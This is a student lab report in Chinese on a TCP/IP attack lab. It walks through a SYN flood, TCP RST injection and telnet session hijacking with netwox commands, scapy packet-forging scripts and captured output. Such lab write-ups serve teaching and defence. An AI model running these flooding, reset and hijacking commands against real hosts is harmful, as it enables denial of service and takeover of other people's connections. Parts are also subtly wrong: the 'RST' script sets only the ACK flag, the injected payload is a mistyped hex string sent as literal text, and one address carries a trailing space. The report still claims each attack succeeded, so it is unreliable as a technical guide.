

Lab4 实验报告

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Part1:TCP/IP Attack Lab

该实验需要 3 台虚拟机:

攻击者 A: IP 地址 10.0.2.5

受害者 B: IP 地址为 10.0.2.4

观察者 C: IP 地址为 10.0.2.6

Task 1: SYN Flooding Attack

首先观察者 C 尝试连接 B, 可以连接成功:

```
[09/11/20]seed@VM:~$ telnet 10.0.2.4
Trying 10.0.2.4...
Connected to 10.0.2.4.
```

在 B 上查看端口信息, 发现 telnet 已完成三次握手:

```
[09/11/20]seed@VM:~$ netstat -na | grep tcp
tcp        0      0 10.0.2.4:telnet    10.0.2.6:34296    ESTABLISHED
```

接下来攻击者 A 发起对 B 的洪泛攻击:

```
[09/11/20]seed@VM:~$ sudo netwox 76 -i "10.0.2.4" -p "23"
```

利用 wireshark 可以嗅探到许多未收到回复的报文:

Time	Source	Destination	Protocol	Length	Info
1950...	10.0.2.4	53.213.37.185	TCP	60	23 → 36799 [SYN, ACK] Seq=4010267811 Ack=1
3945...	226.18.137.67	10.0.2.4	TCP	62	6950 → 23 [SYN] Seq=492436654 Win=1500 Len
3973...	255.104.231.63	10.0.2.4	TCP	62	51868 → 23 [SYN] Seq=3605011639 Win=1500 L
4048...	10.0.2.4	255.104.231.63	TCP	60	23 → 51868 [SYN, ACK] Seq=2301727230 Ack=3
5080...	56.54.96.185	10.0.2.4	TCP	62	18690 → 23 [SYN] Seq=3837464245 Win=1500 L
5182...	10.0.2.4	56.54.96.185	TCP	60	23 → 18690 [SYN, ACK] Seq=1914863371 Ack=3
5316...	110.124.205.95	10.0.2.4	TCP	62	33629 → 23 [SYN] Seq=97532294 Win=1500 Len
5357...	10.0.2.4	110.124.205.95	TCP	60	23 → 33629 [SYN, ACK] Seq=2823214192 Ack=9
5457...	192.207.79.122	10.0.2.4	TCP	62	29847 → 23 [SYN] Seq=1296153376 Win=1500 L

查看受害者 B 的待处理队列, 可以发现很多来自攻击者的待处理 SYN 包, 受害者 B 遭到洪泛攻击:

Protocol	Source	Destination	Source Port	Destination Port	State
tcp	0	0	10.0.2.4:telnet	241.201.59.173:30795	SYN_RECV
tcp	0	0	10.0.2.4:telnet	253.74.12.204:56619	SYN_RECV
tcp	0	0	10.0.2.4:telnet	254.150.234.8:38745	SYN_RECV
tcp	0	0	10.0.2.4:telnet	242.240.14.125:46897	SYN_RECV
tcp	0	0	10.0.2.4:telnet	253.60.103.199:44065	SYN_RECV
tcp	0	0	10.0.2.4:telnet	251.115.13.221:55699	SYN_RECV
tcp	0	0	10.0.2.4:telnet	244.164.245.142:56349	SYN_RECV
tcp	0	0	10.0.2.4:telnet	249.81.36.217:35790	SYN_RECV
tcp	0	0	10.0.2.4:telnet	250.199.111.214:64894	SYN_RECV

此时观察者再次尝试连接 B, 连接失败:

```
[09/11/20]seed@VM:~$ telnet 10.0.2.4
Trying 10.0.2.4...
telnet: Unable to connect to remote host: Network is unreachable
```

Task 2: TCP RST Attacks on telnet and ssh Connections

首先 C 尝试连接 B，可以连接成功：

```
[09/11/20]seed@VM:~$ telnet 10.0.2.4
Trying 10.0.2.4...
Connected to 10.0.2.4.
```

在 B 上查看端口信息，发现 telnet 已完成三次握手：

```
[09/11/20]seed@VM:~$ netstat -na | grep tcp
tcp        0      0 10.0.2.4:telnet    10.0.2.6:34296    ESTABLISHED
```

接下来攻击者 A 发起对 B 的 TCP RST 攻击：

使用 Netwox 工具：

```
[09/11/20]seed@VM:~$ sudo netwox 78 -i "10.0.2.4"
```

或者使用 scapy 工具：

```
#!/usr/bin/python
from scapy.all import *
ip = IP(src="10.0.2.6", dst="10.0.2.4")
tcp = TCP(sport=34352, dport=23, flags="0x010", seq=1961185690, ack=3343017098)
pkt = ip/tcp
ls(pkt)
send(pkt, verbose=0)
```

B 和 C 之间的连接自动断开：

```
[09/11/20]seed@VM:~$ telnet 10.0.2.4
Trying 10.0.2.4...
Connected to 10.0.2.4.
Escape character is '^]'.
Ubuntu 16.04.2 LTS
Connection closed by foreign host.
```

TCP RST 攻击成功。

Task 4: TCP Session Hijacking

首先在 C 和 B 至今建立连接：

```
[09/11/20]seed@VM:~$ telnet 10.0.2.4
Trying 10.0.2.4...
Connected to 10.0.2.4.
```

在 B 上查看端口信息：

```
[09/11/20]seed@VM:~$ netstat -na | grep tcp
tcp        0      0 10.0.2.4:telnet    10.0.2.6:34296    ESTABLISHED
```

接下来攻击者 A 发起对 B 的劫持攻击：

使用 Netwox 工具：

```
[09/11/20]seed@VM:~$ sudo netwox 40 --ip4-ttl 64 --ip4-protocol 6 --ip4-src 10.0.2.6 --ip4-dst 10.0.2.4 --tcp-src 34370 --tcp-dst 23 --tcp-seqnum 2369159690 --tcp-acknum 379720627
```

IP

version	ihl	tos	totlen	
4	5	0x00=0	0x0028=40	
id		r D M		offsetfrag
0x1214=4628		0 0 0		0x0000=0
ttl	protocol		checksum	
0x40=64	0x06=6		0x50B3	
source				
10.0.2.6				
destination				
10.0.2.4				

TCP

source port		destination port	
0x8642=34370		0x0017=23	
seqnum			
0x8D36820A=2369159690			
acknum			
0x16A213B3=379720627			
doff	r r r r C E U A P R S F	window	
5	0 0 0 0 0 0 0 0 0 0 0 0	0x0000=0	
checksum		urgptr	
0xD7EB=55275		0x0000=0	

或者使用 scapy 工具：

```
#!/usr/bin/python
from scapy.all import *
ip = IP(src="10.0.2.6", dst="10.0.2.4 ")
tcp = TCP(sport=34370, dport=23, seq=2369159690, ack=379720627)
data = "48656c6c6f205766726c64"
pkt = ip/tcp/data
ls(pkt)
send(pkt, verbose=0)
```

在攻击者 A 上使用 Wireshark 可以监听到 B 和 C 之间传递的数据信息：

2020-09-11 07:03:36.3202993...	10.0.2.6	10.0.2.4	TELNET	69 Telnet Data ...
2020-09-11 07:03:36.3216802...	10.0.2.4	10.0.2.6	TELNET	69 Telnet Data ...
2020-09-11 07:03:36.3548388...	10.0.2.6	10.0.2.4	TELNET	69 Telnet Data ...
2020-09-11 07:03:36.3559955...	10.0.2.4	10.0.2.6	TELNET	69 Telnet Data ...
2020-09-11 07:03:36.3905074...	10.0.2.6	10.0.2.4	TELNET	69 Telnet Data ...
2020-09-11 07:03:36.3925854...	10.0.2.4	10.0.2.6	TELNET	69 Telnet Data ...
2020-09-11 07:03:36.4221686...	10.0.2.6	10.0.2.4	TELNET	69 Telnet Data ...
2020-09-11 07:03:36.4229753...	10.0.2.4	10.0.2.6	TELNET	69 Telnet Data ...
2020-09-11 07:03:36.4538430...	10.0.2.6	10.0.2.4	TELNET	69 Telnet Data ...
2020-09-11 07:03:36.4540210...	10.0.2.4	10.0.2.6	TELNET	69 Telnet Data ...

劫持攻击成功。